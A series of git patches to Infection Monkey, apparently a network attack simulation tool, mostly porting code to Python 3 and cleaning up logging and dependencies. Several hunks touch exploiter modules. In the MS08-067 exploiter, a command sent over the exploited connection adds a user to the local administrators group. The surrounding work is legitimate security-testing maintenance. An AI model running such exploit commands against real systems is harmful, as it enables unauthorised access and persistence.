From: VakarisZ
Date: Thu, 17 Oct 2019 19:33:30 +0300
Subject: [PATCH 032/108] Small CR fixes
---
monkey/common/network/network_range.py | 16 ++++++++--------
monkey/infection_monkey/exploit/sambacry.py | 1 +
.../system_info/windows_info_collector.py | 4 +---
monkey/monkey_island/cc/models/monkey.py | 2 +-
.../monkey_island/cc/services/config_schema.py | 2 +-
monkey/monkey_island/cc/services/edge.py | 2 +-
6 files changed, 13 insertions(+), 14 deletions(-)
diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py
index 60178a3dc..21a1fa83b 100644
--- a/monkey/common/network/network_range.py
+++ b/monkey/common/network/network_range.py
@@ -151,10 +151,10 @@ class SingleIpRange(NetworkRange):
return self._ip_address
@staticmethod
- def string_to_host(string):
+ def string_to_host(string_):
"""
Converts the string that user entered in "Scan IP/subnet list" to a tuple of domain name and ip
- :param string: String that was entered in "Scan IP/subnet list"
+ :param string_: String that was entered in "Scan IP/subnet list"
:return: A tuple in format (IP, domain_name). Eg. (192.168.55.1, www.google.com)
"""
# The most common use case is to enter ip/range into "Scan IP/subnet list"
@@ -162,16 +162,16 @@ class SingleIpRange(NetworkRange):
# Try casting user's input as IP
try:
- ip = ipaddress.ip_address(string).exploded
+ ip = ipaddress.ip_address(string_).exploded
except ValueError:
# Exception means that it's a domain name
try:
- ip = socket.gethostbyname(string)
- domain_name = string
+ ip = socket.gethostbyname(string_)
+ domain_name = string_
except socket.error:
LOG.error("Your specified host: {} is not found as a domain name and"
- " it's not an IP address".format(string))
- return None, string
- # If a string was entered instead of IP we presume that it was domain name and translate it
+ " it's not an IP address".format(string_))
+ return None, string_
+ # If a string_ was entered instead of IP we presume that it was domain name and translate it
return ip, domain_name
diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py
index 16366c586..e48a21616 100644
--- a/monkey/infection_monkey/exploit/sambacry.py
+++ b/monkey/infection_monkey/exploit/sambacry.py
@@ -217,6 +217,7 @@ class SambaCryExploiter(HostExploiter):
pattern = re.compile(r'\d*\.\d*\.\d*')
smb_server_name = self.host.services[SMB_SERVICE].get('name')
if not smb_server_name:
+ LOG.info("Host: %s refused SMB connection" % self.host.ip_addr)
return False
samba_version = "unknown"
pattern_result = pattern.search(smb_server_name)
diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py
index 9d6f6a1f2..08ca6ff29 100644
--- a/monkey/infection_monkey/system_info/windows_info_collector.py
+++ b/monkey/infection_monkey/system_info/windows_info_collector.py
@@ -1,6 +1,7 @@
import os
import logging
import sys
+sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
import infection_monkey.config
from infection_monkey.system_info.mimikatz_collector import MimikatzCollector
@@ -8,9 +9,6 @@ from infection_monkey.system_info import InfoCollector
from infection_monkey.system_info.wmi_consts import WMI_CLASSES
from common.utils.wmi_utils import WMIUtils
-
-sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
-
LOG = logging.getLogger(__name__)
LOG.info('started windows info collector')
diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py
index fe0745496..324903809 100644
--- a/monkey/monkey_island/cc/models/monkey.py
+++ b/monkey/monkey_island/cc/models/monkey.py
@@ -48,7 +48,7 @@ class Monkey(Document):
@staticmethod
def __ring_key__():
"""
- Cash key representation
+ Cache key representation
https://ring-cache.readthedocs.io/en/stable/quickstart.html#method-classmethod-staticmethod-property
:return:
"""
diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py
index 3318783b0..32ee13b12 100644
--- a/monkey/monkey_island/cc/services/config_schema.py
+++ b/monkey/monkey_island/cc/services/config_schema.py
@@ -1,4 +1,4 @@
-WARNING_SIGN = " \\u26A0"
+WARNING_SIGN = " \u26A0"
SCHEMA = {
"title": "Monkey",
diff --git a/monkey/monkey_island/cc/services/edge.py b/monkey/monkey_island/cc/services/edge.py
index a2023d4d2..ae3d2a2de 100644
--- a/monkey/monkey_island/cc/services/edge.py
+++ b/monkey/monkey_island/cc/services/edge.py
@@ -155,7 +155,7 @@ class EdgeService:
else:
to_label = NodeService.get_node_label(NodeService.get_node_by_id(to_id))
- RIGHT_ARROW = "\\u2192"
+ RIGHT_ARROW = "\u2192"
return "%s %s %s" % (from_label, RIGHT_ARROW, to_label)
From c56dea39a91f0c0b844dbb0a2d7df136e639cb34 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Thu, 17 Oct 2019 19:39:27 +0300
Subject: [PATCH 033/108] Removed six from requirements
---
monkey/infection_monkey/requirements_linux.txt | 1 -
monkey/infection_monkey/requirements_windows.txt | 1 -
2 files changed, 2 deletions(-)
diff --git a/monkey/infection_monkey/requirements_linux.txt b/monkey/infection_monkey/requirements_linux.txt
index f30131267..e9872b396 100644
--- a/monkey/infection_monkey/requirements_linux.txt
+++ b/monkey/infection_monkey/requirements_linux.txt
@@ -7,7 +7,6 @@ odict
paramiko
psutil==3.4.2
PyInstaller
-six
ecdsa
netifaces
ipaddress
diff --git a/monkey/infection_monkey/requirements_windows.txt b/monkey/infection_monkey/requirements_windows.txt
index ce5021923..61fff177d 100644
--- a/monkey/infection_monkey/requirements_windows.txt
+++ b/monkey/infection_monkey/requirements_windows.txt
@@ -7,7 +7,6 @@ odict
paramiko
psutil
PyInstaller
-six
ecdsa
netifaces
ipaddress
From 05af080f98e24dbb1bc23667e6523fede2822a84 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Thu, 17 Oct 2019 18:06:01 +0300
Subject: [PATCH 034/108] Linux deployment fixes
---
deployment_scripts/deploy_linux.sh | 4 ++++
monkey/infection_monkey/exploit/sshexec.py | 1 -
monkey/monkey_island/linux/run.sh | 2 +-
3 files changed, 5 insertions(+), 2 deletions(-)
diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh
index 136e3f8b1..f3cc4001c 100644
--- a/deployment_scripts/deploy_linux.sh
+++ b/deployment_scripts/deploy_linux.sh
@@ -70,6 +70,7 @@ fi
if [[ ${python_cmd} == "" ]]; then
log_message "Python 3.7 command not found. Installing python 3.7."
sudo add-apt-repository ppa:deadsnakes/ppa
+ sudo apt update
sudo apt install python3.7
log_message "Python 3.7 is now available with command 'python3.7'."
python_cmd="python3.7"
@@ -82,6 +83,9 @@ log_message "Installing pip"
sudo apt install python3-pip
${python_cmd} -m pip install pip
+log_message "Install python3.7-dev"
+sudo apt-get install python3.7-dev
+
log_message "Installing island requirements"
requirements="$ISLAND_PATH/requirements.txt"
${python_cmd} -m pip install --user --upgrade -r ${requirements} || handle_error
diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py
index f7abd3ce0..9765f018c 100644
--- a/monkey/infection_monkey/exploit/sshexec.py
+++ b/monkey/infection_monkey/exploit/sshexec.py
@@ -5,7 +5,6 @@ import time
import paramiko
import infection_monkey.monkeyfs as monkeyfs
-from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
from infection_monkey.exploit.tools.helpers import get_interface_to_target
diff --git a/monkey/monkey_island/linux/run.sh b/monkey/monkey_island/linux/run.sh
index 235b30469..26d8c3234 100644
--- a/monkey/monkey_island/linux/run.sh
+++ b/monkey/monkey_island/linux/run.sh
@@ -13,4 +13,4 @@ if [[ `python3.7 --version 2>&1` == *"Python 3.7"* ]]; then
fi
./bin/mongodb/bin/mongod --dbpath ./bin/mongodb/db
-${python_cmd} monkey_island.py
\ No newline at end of file
+${python_cmd} monkey_island.py
From f60cdd116b49f9dc3b88e2db578c163905bdd621 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Fri, 18 Oct 2019 09:10:14 +0300
Subject: [PATCH 035/108] Replaced six package usages with py3
---
monkey/common/network/network_range.py | 3 +--
monkey/infection_monkey/network/tools.py | 2 --
monkey/monkey_island/cc/services/config.py | 5 ++---
monkey/monkey_island/cc/services/reporting/report.py | 11 +++++------
.../telemetry/zero_trust_tests/segmentation.py | 6 ++----
5 files changed, 10 insertions(+), 17 deletions(-)
diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py
index 21a1fa83b..7393ceda2 100644
--- a/monkey/common/network/network_range.py
+++ b/monkey/common/network/network_range.py
@@ -4,7 +4,6 @@ import struct
from abc import ABCMeta, abstractmethod
import ipaddress
-from six import text_type
import logging
__author__ = 'itamar'
@@ -78,7 +77,7 @@ class CidrRange(NetworkRange):
def __init__(self, cidr_range, shuffle=True):
super(CidrRange, self).__init__(shuffle=shuffle)
self._cidr_range = cidr_range.strip()
- self._ip_network = ipaddress.ip_network(text_type(self._cidr_range), strict=False)
+ self._ip_network = ipaddress.ip_network(str(self._cidr_range), strict=False)
def __repr__(self):
return "" % (self._cidr_range,)
diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py
index 8fcc2892e..075babb60 100644
--- a/monkey/infection_monkey/network/tools.py
+++ b/monkey/infection_monkey/network/tools.py
@@ -7,8 +7,6 @@ import struct
import time
import re
-from six.moves import range
-
from infection_monkey.pyinstaller_utils import get_binary_file_path
from infection_monkey.utils.environment import is_64bit_python
diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py
index a6759b15b..2d38b6498 100644
--- a/monkey/monkey_island/cc/services/config.py
+++ b/monkey/monkey_island/cc/services/config.py
@@ -3,7 +3,6 @@ import collections
import functools
import logging
from jsonschema import Draft4Validator, validators
-from six import string_types
import monkey_island.cc.services.post_breach_files
from monkey_island.cc.database import mongo
@@ -236,7 +235,7 @@ class ConfigService:
keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS]
for key in keys:
- if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], string_types):
+ if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], str):
# Check if we are decrypting ssh key pair
if flat_config[key] and isinstance(flat_config[key][0], dict) and 'public_key' in flat_config[key][0]:
flat_config[key] = [ConfigService.decrypt_ssh_key_pair(item) for item in flat_config[key]]
@@ -257,7 +256,7 @@ class ConfigService:
parent_config_arr = config_arr
config_arr = config_arr[config_key_part]
- if isinstance(config_arr, collections.Sequence) and not isinstance(config_arr, string_types):
+ if isinstance(config_arr, collections.Sequence) and not isinstance(config_arr, str):
for i in range(len(config_arr)):
# Check if array of shh key pairs and then decrypt
if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]:
diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py
index 0d2b6858d..01be940c4 100644
--- a/monkey/monkey_island/cc/services/reporting/report.py
+++ b/monkey/monkey_island/cc/services/reporting/report.py
@@ -5,7 +5,6 @@ import logging
import ipaddress
from bson import json_util
from enum import Enum
-from six import text_type
from common.network.network_range import NetworkRange
from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst
@@ -396,7 +395,7 @@ class ReportService:
return \
[
- ipaddress.ip_interface(text_type(network['addr'] + '/' + network['netmask'])).network
+ ipaddress.ip_interface(str(network['addr'] + '/' + network['netmask'])).network
for network in network_info['data']['network_info']['networks']
]
@@ -409,7 +408,7 @@ class ReportService:
monkey_subnets = ReportService.get_monkey_subnets(monkey['guid'])
for subnet in monkey_subnets:
for ip in island_ips:
- if ipaddress.ip_address(text_type(ip)) in subnet:
+ if ipaddress.ip_address(str(ip)) in subnet:
found_good_ip = True
break
if found_good_ip:
@@ -438,7 +437,7 @@ class ReportService:
ip_in_src = None
ip_in_dst = None
for ip_addr in monkey['ip_addresses']:
- if source_subnet_range.is_in_range(text_type(ip_addr)):
+ if source_subnet_range.is_in_range(str(ip_addr)):
ip_in_src = ip_addr
break
@@ -447,7 +446,7 @@ class ReportService:
continue
for ip_addr in monkey['ip_addresses']:
- if target_subnet_range.is_in_range(text_type(ip_addr)):
+ if target_subnet_range.is_in_range(str(ip_addr)):
ip_in_dst = ip_addr
break
@@ -483,7 +482,7 @@ class ReportService:
scans.rewind() # If we iterated over scans already we need to rewind.
for scan in scans:
target_ip = scan['data']['machine']['ip_addr']
- if target_subnet_range.is_in_range(text_type(target_ip)):
+ if target_subnet_range.is_in_range(str(target_ip)):
monkey = NodeService.get_monkey_by_guid(scan['monkey_guid'])
cross_segment_ip = get_ip_in_src_and_not_in_dst(monkey['ip_addresses'],
source_subnet_range,
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py
index 50e60e493..b4efd3c3a 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py
@@ -1,5 +1,4 @@
import itertools
-from six import text_type
from common.data.zero_trust_consts import STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK, STATUS_PASSED
from common.network.network_range import NetworkRange
@@ -34,8 +33,7 @@ def test_segmentation_violation(current_monkey, target_ip):
)
-def is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet):
- # type: (Monkey, str, str, str) -> bool
+def is_segmentation_violation(current_monkey: Monkey, target_ip: str, source_subnet: str, target_subnet: str) -> bool:
"""
Checks is a specific communication is a segmentation violation.
:param current_monkey: The source monkey which originated the communication.
@@ -49,7 +47,7 @@ def is_segmentation_violation(current_monkey, target_ip, source_subnet, target_s
source_subnet_range = NetworkRange.get_range_obj(source_subnet)
target_subnet_range = NetworkRange.get_range_obj(target_subnet)
- if target_subnet_range.is_in_range(text_type(target_ip)):
+ if target_subnet_range.is_in_range(str(target_ip)):
cross_segment_ip = get_ip_in_src_and_not_in_dst(
current_monkey.ip_addresses,
source_subnet_range,
From c0f661d33791114e1bfeb7983fd04e008df76a68 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Fri, 18 Oct 2019 18:14:42 +0300
Subject: [PATCH 036/108] More python3 fixes
---
monkey/infection_monkey/control.py | 60 +++++++++----------
monkey/infection_monkey/dropper.py | 10 ++--
monkey/infection_monkey/exploit/__init__.py | 5 +-
monkey/infection_monkey/exploit/mssqlexec.py | 1 -
monkey/infection_monkey/exploit/smbexec.py | 4 +-
.../infection_monkey/exploit/win_ms08_067.py | 10 ++--
monkey/infection_monkey/monkey.py | 1 -
monkey/infection_monkey/network/info.py | 1 -
.../actions/communicate_as_new_user.py | 1 -
.../infection_monkey/telemetry/base_telem.py | 3 +-
monkey/infection_monkey/tunnel.py | 18 +++---
11 files changed, 56 insertions(+), 58 deletions(-)
diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py
index 4e917e5a6..54d528976 100644
--- a/monkey/infection_monkey/control.py
+++ b/monkey/infection_monkey/control.py
@@ -9,7 +9,7 @@ from requests.exceptions import ConnectionError
import infection_monkey.monkeyfs as monkeyfs
import infection_monkey.tunnel as tunnel
from infection_monkey.config import WormConfiguration, GUID
-from infection_monkey.network.info import local_ips, check_internet_access, TIMEOUT
+from infection_monkey.network.info import local_ips, check_internet_access
from infection_monkey.transport.http import HTTPConnectProxy
from infection_monkey.transport.tcp import TcpProxy
@@ -85,7 +85,7 @@ class ControlClient(object):
except ConnectionError as exc:
current_server = ""
- LOG.warn("Error connecting to control server %s: %s", server, exc)
+ LOG.warning("Error connecting to control server %s: %s", server, exc)
if current_server:
return True
@@ -112,14 +112,14 @@ class ControlClient(object):
monkey = {}
if ControlClient.proxies:
monkey['tunnel'] = ControlClient.proxies.get('https')
- reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
- data=json.dumps(monkey),
- headers={'content-type': 'application/json'},
- verify=False,
- proxies=ControlClient.proxies)
+ requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
+ data=json.dumps(monkey),
+ headers={'content-type': 'application/json'},
+ verify=False,
+ proxies=ControlClient.proxies)
except Exception as exc:
- LOG.warn("Error connecting to control server %s: %s",
- WormConfiguration.current_server, exc)
+ LOG.warning("Error connecting to control server %s: %s",
+ WormConfiguration.current_server, exc)
return {}
@staticmethod
@@ -129,14 +129,14 @@ class ControlClient(object):
return
try:
telemetry = {'monkey_guid': GUID, 'telem_category': telem_category, 'data': data}
- reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,),
- data=json.dumps(telemetry),
- headers={'content-type': 'application/json'},
- verify=False,
- proxies=ControlClient.proxies)
+ requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,),
+ data=json.dumps(telemetry),
+ headers={'content-type': 'application/json'},
+ verify=False,
+ proxies=ControlClient.proxies)
except Exception as exc:
- LOG.warn("Error connecting to control server %s: %s",
- WormConfiguration.current_server, exc)
+ LOG.warning("Error connecting to control server %s: %s",
+ WormConfiguration.current_server, exc)
@staticmethod
def send_log(log):
@@ -144,14 +144,14 @@ class ControlClient(object):
return
try:
telemetry = {'monkey_guid': GUID, 'log': json.dumps(log)}
- reply = requests.post("https://%s/api/log" % (WormConfiguration.current_server,),
- data=json.dumps(telemetry),
- headers={'content-type': 'application/json'},
- verify=False,
- proxies=ControlClient.proxies)
+ requests.post("https://%s/api/log" % (WormConfiguration.current_server,),
+ data=json.dumps(telemetry),
+ headers={'content-type': 'application/json'},
+ verify=False,
+ proxies=ControlClient.proxies)
except Exception as exc:
- LOG.warn("Error connecting to control server %s: %s",
- WormConfiguration.current_server, exc)
+ LOG.warning("Error connecting to control server %s: %s",
+ WormConfiguration.current_server, exc)
@staticmethod
def load_control_config():
@@ -163,8 +163,8 @@ class ControlClient(object):
proxies=ControlClient.proxies)
except Exception as exc:
- LOG.warn("Error connecting to control server %s: %s",
- WormConfiguration.current_server, exc)
+ LOG.warning("Error connecting to control server %s: %s",
+ WormConfiguration.current_server, exc)
return
try:
@@ -191,7 +191,7 @@ class ControlClient(object):
verify=False,
proxies=ControlClient.proxies)
except Exception as exc:
- LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc)
+ LOG.warning("Error connecting to control server %s: %s", WormConfiguration.current_server, exc)
return {}
@staticmethod
@@ -261,8 +261,8 @@ class ControlClient(object):
return dest_file
except Exception as exc:
- LOG.warn("Error connecting to control server %s: %s",
- WormConfiguration.current_server, exc)
+ LOG.warning("Error connecting to control server %s: %s",
+ WormConfiguration.current_server, exc)
@staticmethod
def get_monkey_exe_filename_and_size_by_host(host):
@@ -288,8 +288,8 @@ class ControlClient(object):
return None, None
except Exception as exc:
- LOG.warn("Error connecting to control server %s: %s",
- WormConfiguration.current_server, exc)
+ LOG.warning("Error connecting to control server %s: %s",
+ WormConfiguration.current_server, exc)
return None, None
diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py
index 7c576fc30..ee1194035 100644
--- a/monkey/infection_monkey/dropper.py
+++ b/monkey/infection_monkey/dropper.py
@@ -26,7 +26,7 @@ else:
try:
WindowsError
except NameError:
- WindowsError = None
+ WindowsError = IOError
__author__ = 'itamar'
@@ -104,14 +104,14 @@ class MonkeyDrops(object):
try:
ref_stat = os.stat(dropper_date_reference_path)
except OSError as exc:
- LOG.warn("Cannot set reference date using '%s', file not found",
- dropper_date_reference_path)
+ LOG.warning("Cannot set reference date using '%s', file not found",
+ dropper_date_reference_path)
else:
try:
os.utime(self._config['destination_path'],
(ref_stat.st_atime, ref_stat.st_mtime))
except:
- LOG.warn("Cannot set reference date to destination file")
+ LOG.warning("Cannot set reference date to destination file")
monkey_options =\
build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
@@ -135,7 +135,7 @@ class MonkeyDrops(object):
time.sleep(3)
if monkey_process.poll() is not None:
- LOG.warn("Seems like monkey died too soon")
+ LOG.warning("Seems like monkey died too soon")
def cleanup(self):
try:
diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py
index 312b747b0..9e899b140 100644
--- a/monkey/infection_monkey/exploit/__init__.py
+++ b/monkey/infection_monkey/exploit/__init__.py
@@ -12,7 +12,8 @@ class HostExploiter(object, metaclass=ABCMeta):
# Usual values are 'vulnerability' or 'brute_force'
EXPLOIT_TYPE = ExploitType.VULNERABILITY
- @abstractproperty
+ @property
+ @abstractmethod
def _EXPLOITED_SERVICE(self):
pass
@@ -73,7 +74,7 @@ class HostExploiter(object, metaclass=ABCMeta):
"""
powershell = True if "powershell" in cmd.lower() else False
self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell})
-
+
from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
from infection_monkey.exploit.wmiexec import WmiExploiter
diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index c860326bc..dcad2adf1 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -10,7 +10,6 @@ from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer
from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, build_monkey_commandline, get_monkey_depth
from infection_monkey.model import DROPPER_ARG
-from infection_monkey.utils.monkey_dir import get_monkey_dir_path
from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError
diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py
index 61c0b0a1e..18331e994 100644
--- a/monkey/infection_monkey/exploit/smbexec.py
+++ b/monkey/infection_monkey/exploit/smbexec.py
@@ -125,8 +125,8 @@ class SmbExploiter(HostExploiter):
try:
scmr_rpc.connect()
except Exception as exc:
- LOG.warn("Error connecting to SCM on exploited machine %r: %s",
- self.host, exc)
+ LOG.warning("Error connecting to SCM on exploited machine %r: %s",
+ self.host, exc)
return False
smb_conn = rpctransport.get_smb_connection()
diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py
index 047574d7e..7148ba965 100644
--- a/monkey/infection_monkey/exploit/win_ms08_067.py
+++ b/monkey/infection_monkey/exploit/win_ms08_067.py
@@ -191,11 +191,11 @@ class Ms08_067_Exploiter(HostExploiter):
try:
sock = exploit.start()
- sock.send("cmd /c (net user %s %s /add) &&"
- " (net localgroup administrators %s /add)\r\n" %
- (self._config.user_to_add,
- self._config.remote_user_pass,
- self._config.user_to_add))
+ sock.send("cmd /c (net user {} {} /add) &&"
+ " (net localgroup administrators {} /add)\r\n".format(
+ self._config.user_to_add,
+ self._config.remote_user_pass,
+ self._config.user_to_add).encode())
time.sleep(2)
reply = sock.recv(1000)
diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py
index db9ef76d4..3985c8a2e 100644
--- a/monkey/infection_monkey/monkey.py
+++ b/monkey/infection_monkey/monkey.py
@@ -6,7 +6,6 @@ import sys
import time
import infection_monkey.tunnel as tunnel
-from infection_monkey.utils.environment import is_windows_os
from infection_monkey.utils.monkey_dir import create_monkey_dir, get_monkey_dir_path, remove_monkey_dir
from infection_monkey.utils.monkey_log_path import get_monkey_log_path
from infection_monkey.utils.environment import is_windows_os
diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py
index e41be20ac..cc198312c 100644
--- a/monkey/infection_monkey/network/info.py
+++ b/monkey/infection_monkey/network/info.py
@@ -1,4 +1,3 @@
-import sys
import socket
import struct
import psutil
diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
index 04dff1441..94241e30a 100644
--- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
+++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
@@ -1,5 +1,4 @@
import logging
-import os
import random
import string
import subprocess
diff --git a/monkey/infection_monkey/telemetry/base_telem.py b/monkey/infection_monkey/telemetry/base_telem.py
index 17cf6cb63..2d59b9cbf 100644
--- a/monkey/infection_monkey/telemetry/base_telem.py
+++ b/monkey/infection_monkey/telemetry/base_telem.py
@@ -25,7 +25,8 @@ class BaseTelem(object, metaclass=abc.ABCMeta):
logger.debug("Sending {} telemetry. Data: {}".format(self.telem_category, json.dumps(data)))
ControlClient.send_telemetry(self.telem_category, data)
- @abc.abstractproperty
+ @property
+ @abc.abstractmethod
def telem_category(self):
"""
:return: Telemetry type
diff --git a/monkey/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py
index 722dea50e..f2124f9fc 100644
--- a/monkey/infection_monkey/tunnel.py
+++ b/monkey/infection_monkey/tunnel.py
@@ -48,7 +48,7 @@ def _check_tunnel(address, port, existing_sock=None):
return False
try:
- sock.sendto("+", (address, MCAST_PORT))
+ sock.sendto(b"+", (address, MCAST_PORT))
except Exception as exc:
LOG.debug("Caught exception in tunnel registration: %s", exc)
@@ -71,13 +71,13 @@ def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT):
try:
LOG.info("Trying to find using adapter %s", adapter)
sock = _set_multicast_socket(timeout, adapter)
- sock.sendto("?", (MCAST_GROUP, MCAST_PORT))
+ sock.sendto(b"?", (MCAST_GROUP, MCAST_PORT))
tunnels = []
while True:
try:
answer, address = sock.recvfrom(BUFFER_READ)
- if answer not in ['?', '+', '-']:
+ if answer not in [b'?', b'+', b'-']:
tunnels.append(answer)
except socket.timeout:
break
@@ -102,7 +102,7 @@ def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT):
def quit_tunnel(address, timeout=DEFAULT_TIMEOUT):
try:
sock = _set_multicast_socket(timeout)
- sock.sendto("-", (address, MCAST_PORT))
+ sock.sendto(b"-", (address, MCAST_PORT))
sock.close()
LOG.debug("Success quitting tunnel")
except Exception as exc:
@@ -147,17 +147,17 @@ class MonkeyTunnel(Thread):
while not self._stopped:
try:
search, address = self._broad_sock.recvfrom(BUFFER_READ)
- if '?' == search:
+ if b'?' == search:
ip_match = get_interface_to_target(address[0])
if ip_match:
answer = '%s:%d' % (ip_match, self.local_port)
LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer)
- self._broad_sock.sendto(answer, (address[0], MCAST_PORT))
- elif '+' == search:
+ self._broad_sock.sendto(answer.encode(), (address[0], MCAST_PORT))
+ elif b'+' == search:
if not address[0] in self._clients:
LOG.debug("Tunnel control: Added %s to watchlist", address[0])
self._clients.append(address[0])
- elif '-' == search:
+ elif b'-' == search:
LOG.debug("Tunnel control: Removed %s from watchlist", address[0])
self._clients = [client for client in self._clients if client != address[0]]
@@ -170,7 +170,7 @@ class MonkeyTunnel(Thread):
while self._clients and (time.time() - get_last_serve_time() < QUIT_TIMEOUT):
try:
search, address = self._broad_sock.recvfrom(BUFFER_READ)
- if '-' == search:
+ if b'-' == search:
LOG.debug("Tunnel control: Removed %s from watchlist", address[0])
self._clients = [client for client in self._clients if client != address[0]]
except socket.timeout:
From 3d332c7d6608e247898df8672e212fdf53c9b37c Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Mon, 21 Oct 2019 17:38:39 +0300
Subject: [PATCH 037/108] More python3 outdated decorators and bytes-string
mixup fixes
---
monkey/common/cloud/aws_instance.py | 7 ++++---
monkey/infection_monkey/exploit/sshexec.py | 2 +-
monkey/infection_monkey/exploit/struts2.py | 5 +----
monkey/infection_monkey/monkey.spec | 1 +
monkey/infection_monkey/network/tools.py | 2 +-
.../post_breach/actions/communicate_as_new_user.py | 2 +-
monkey/infection_monkey/post_breach/pba.py | 5 +++--
monkey/monkey_island/cc/resources/remote_run.py | 4 ++--
.../cc/services/attack/technique_reports/__init__.py | 12 ++++++++----
9 files changed, 22 insertions(+), 18 deletions(-)
diff --git a/monkey/common/cloud/aws_instance.py b/monkey/common/cloud/aws_instance.py
index 6b13b69bb..ac4fe633e 100644
--- a/monkey/common/cloud/aws_instance.py
+++ b/monkey/common/cloud/aws_instance.py
@@ -27,16 +27,17 @@ class AwsInstance(object):
try:
self.instance_id = urllib.request.urlopen(
- AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read()
+ AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read().decode()
self.region = self._parse_region(
- urllib.request.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read())
+ urllib.request.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read().
+ decode())
except (urllib.error.URLError, IOError) as e:
logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e))
try:
self.account_id = self._extract_account_id(
urllib.request.urlopen(
- AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).read())
+ AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).read().decode())
except (urllib.error.URLError, IOError) as e:
logger.debug("Failed init of AwsInstance while getting dynamic instance data: {}".format(e))
diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py
index f7abd3ce0..ce2e0d13c 100644
--- a/monkey/infection_monkey/exploit/sshexec.py
+++ b/monkey/infection_monkey/exploit/sshexec.py
@@ -125,7 +125,7 @@ class SSHExploiter(HostExploiter):
if not self.host.os.get('type'):
try:
_, stdout, _ = ssh.exec_command('uname -o')
- uname_os = stdout.read().lower().strip()
+ uname_os = stdout.read().lower().strip().decode()
if 'linux' in uname_os:
self.host.os['type'] = 'linux'
else:
diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py
index 4be2d0acd..fc2fd764d 100644
--- a/monkey/infection_monkey/exploit/struts2.py
